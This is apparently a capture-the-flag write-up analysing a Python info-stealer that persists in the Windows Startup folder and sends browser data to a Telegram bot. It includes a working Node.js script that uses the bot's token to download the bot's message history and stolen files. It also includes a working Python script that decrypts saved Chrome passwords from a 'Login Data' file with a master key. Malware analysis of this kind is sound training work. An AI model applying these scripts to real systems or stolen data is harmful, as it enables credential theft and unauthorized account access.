- Based on the description, identify the malware persistence mechanisms designed to execute when the system starts. You will find it located at
admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pytagon.exe - This is an executable file compiled from Python. Use pyinstxtractor and https://pylingual.io/ to recover the malware’s source code full decompiled code
- The malware is actually a Stealer that performs data theft from web browsers such as Chrome, Edge, and Coccoc. It subsequently abuses a Telegram bot token to send the stolen data to the command-and-control (C2) server

- The Stealer uses the bot token API key and account ID to send requests via the Telegram API
- From the program’s source code, we only obtained the API key; however, it is sufficient to retrieve the Telegram message history using that API key. Below is an example of a JavaScript program that uses the bot API key to extract the conversation history between the threat actor and the Telegram bot
const { TelegramClient } = require("telegram");
const { StringSession } = require("telegram/sessions");
const { Api } = require("telegram");
const fs = require("fs");
const path = require("path");
const BOT_TOKEN = "8400498692:AAG19No0kT2vODBC-grvjEqrBRg0VkZPR88";
const API_ID = ********;
const API_HASH = "********************************";
const SESSION = new StringSession("");
const client = new TelegramClient(SESSION, API_ID, API_HASH, { connectionRetries: 5 });
async function main() {
await client.start({ botAuthToken: BOT_TOKEN });
console.log("[+] Bot logged in successfully.");
const downloadDir = path.join(__dirname, "downloads");
if (!fs.existsSync(downloadDir)) fs.mkdirSync(downloadDir);
for (let msgId = 1; msgId <= 10000; msgId++) {
try {
const response = await client.invoke(new Api.messages.GetMessages({ id: [msgId] }));
if (!response.messages?.length) continue;
const msg = response.messages[0];
const text = msg.message || "[No text message]";
console.log(`🗨️ [${msgId}] ${text}`);
// Check if there’s an attached file
if (msg.media && msg.media.document) {
const fileAttr = msg.media.document.attributes.find(a => a.fileName);
const fileName = fileAttr ? fileAttr.fileName : `file_${msgId}`;
const savePath = path.join(downloadDir, fileName);
console.log(`📎 Found file: ${fileName} — downloading...`);
try {
await client.downloadMedia(msg, { outputFile: savePath });
console.log(`✅ Downloaded: ${fileName}`);
} catch (err) {
console.error(`❌ Error downloading ${fileName}: ${err.message}`);
}
}
} catch {
console.warn(`⚠️ Message ID ${msgId} not found or inaccessible.`);
}
}
console.log("✅ Finished scanning messages and downloading files.");
}
main();
Where API_ID and API_HASH are obtained from your own account. When executed, the output is as follows:
$ node tele.js
[2025-10-31T00:55:29.947] [INFO] - [Running gramJS version 2.22.1]
[2025-10-31T00:55:29.959] [INFO] - [Connecting to 149.154.167.91:80/TCPFull...]
[2025-10-31T00:55:31.807] [INFO] - [Connection to 149.154.167.91:80/TCPFull complete!]
[2025-10-31T00:55:31.807] [INFO] - [Using LAYER 181 for initial connect]
[2025-10-31T00:55:32.711] [INFO] - [Phone migrated to 5]
[2025-10-31T00:55:32.712] [INFO] - [Reconnecting to new data center 5]
[2025-10-31T00:55:32.963] [WARN] - [Disconnecting...]
[2025-10-31T00:55:32.963] [INFO] - [Disconnecting from 149.154.167.91:80/TCPFull...]
[2025-10-31T00:55:32.964] [INFO] - [Connecting to 91.108.56.152:80/TCPFull...]
[2025-10-31T00:55:32.967] [INFO] - [connection closed]
[2025-10-31T00:55:34.294] [INFO] - [Connection to 91.108.56.152:80/TCPFull complete!]
[2025-10-31T00:55:34.294] [INFO] - [Using LAYER 181 for initial connect]
[2025-10-31T00:55:34.566] [INFO] - [Signed in successfully as Botmother]
[+] Bot logged in successfully.
🗨️ [1] /start
🗨️ [2] Hi
🗨️ [3] Can you help me?
🗨️ [4] I will use th1s place t0 st0r3 st0l3n dat4 hehe
🗨️ [5] country : *******
id : 556259086601704
Windows-10-10.0.19041-SP0
ip: **************
Username :176DF1F6-03E5-4/WDAGUtilityAccount
📎 Found file: 0h29m12s-30-10-2025.zip — downloading...
[2025-10-31T00:55:34.983] [INFO] - [Starting direct file download in chunks of 131072 at 0, stride 131072]
[2025-10-31T00:55:34.984] [INFO] - [Connecting to 91.108.56.152:443/TCPFull...]
[2025-10-31T00:55:35.059] [INFO] - [Connection to 91.108.56.152:443/TCPFull complete!]
✅ Downloaded: 0h29m12s-30-10-2025.zip
🗨️ [6] hehe nice
🗨️ [7] Test successfully
🗨️ [8] I'm so pro
🗨️ [9] I will use this stealer to earn money
🗨️ [10] [No text message]
📎 Found file: sticker.webp — downloading...
[2025-10-31T00:55:35.722] [INFO] - [Starting direct file download in chunks of 131072 at 0, stride 131072]
✅ Downloaded: sticker.webp
🗨️ [11] [No text message]
📎 Found file: sticker.webp — downloading...
[2025-10-31T00:55:35.889] [INFO] - [Starting direct file download in chunks of 131072 at 0, stride 131072]
✅ Downloaded: sticker.webp
🗨️ [12] country : *******
id : 555616279192023
Windows-10-10.0.19044-SP0
ip: **************
Username :WIN10/admin
📎 Found file: 15h26m45s-30-10-2025.zip — downloading...
[2025-10-31T00:55:36.051] [INFO] - [Starting direct file download in chunks of 131072 at 0, stride 131072]
✅ Downloaded: 15h26m45s-30-10-2025.zip
🗨️ [13] Haha my first hapless victim
🗨️ [14] Good bot, son
🗨️ [15] [No text message]
🗨️ [16] [No text message]
🗨️ [17] [No text message]
🗨️ [18] [No text message]
🗨️ [19] [No text message]
🗨️ [20] [No text message]
Thus, we obtained the file 15h26m45s-30-10-2025.zip containing the data of the first victim, located in the downloads output folder

From the stolen data above, we can extract the user data from the browser to identify saved passwords that may have been exposed by decrypting the Login Data file using the master_key.txt file
import os, sys, json, base64, sqlite3
from Crypto.Cipher import AES
import win32crypt
if len(sys.argv) != 3:
print("Usage: python decrypt.py <path_to_Login_Data> <path_to_master_key.txt>")
sys.exit(1)
login_db = sys.argv[1]
key_path = sys.argv[2]
with open(key_path, "r", encoding="utf-8") as f:
key_str = f.read().strip()
master_key = eval(key_str) if key_str.startswith("b'") else base64.b64decode(key_str)
conn = sqlite3.connect(login_db)
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for url, username, encrypted_password in cursor.fetchall():
if encrypted_password.startswith(b'v10') or encrypted_password.startswith(b'v11'):
iv = encrypted_password[3:15]
payload = encrypted_password[15:-16]
tag = encrypted_password[-16:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted = cipher.decrypt_and_verify(payload, tag).decode(errors="ignore")
else:
decrypted = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1].decode(errors="ignore")
print(f"URL: {url}\nUSER: {username}\nPASS: {decrypted}\n{'-'*60}")
conn.close()
After execution, we obtained the exposed user password, which is the flag
python .\solve.py '.\Login Data' .\master_key.txt
URL: https://account.proton.me/
USER: ch0limexcoffee@proton.me
PASS: MetaCTF{5950211257499c69f6cb7754a0aeeec0}
------------------------------------------------------------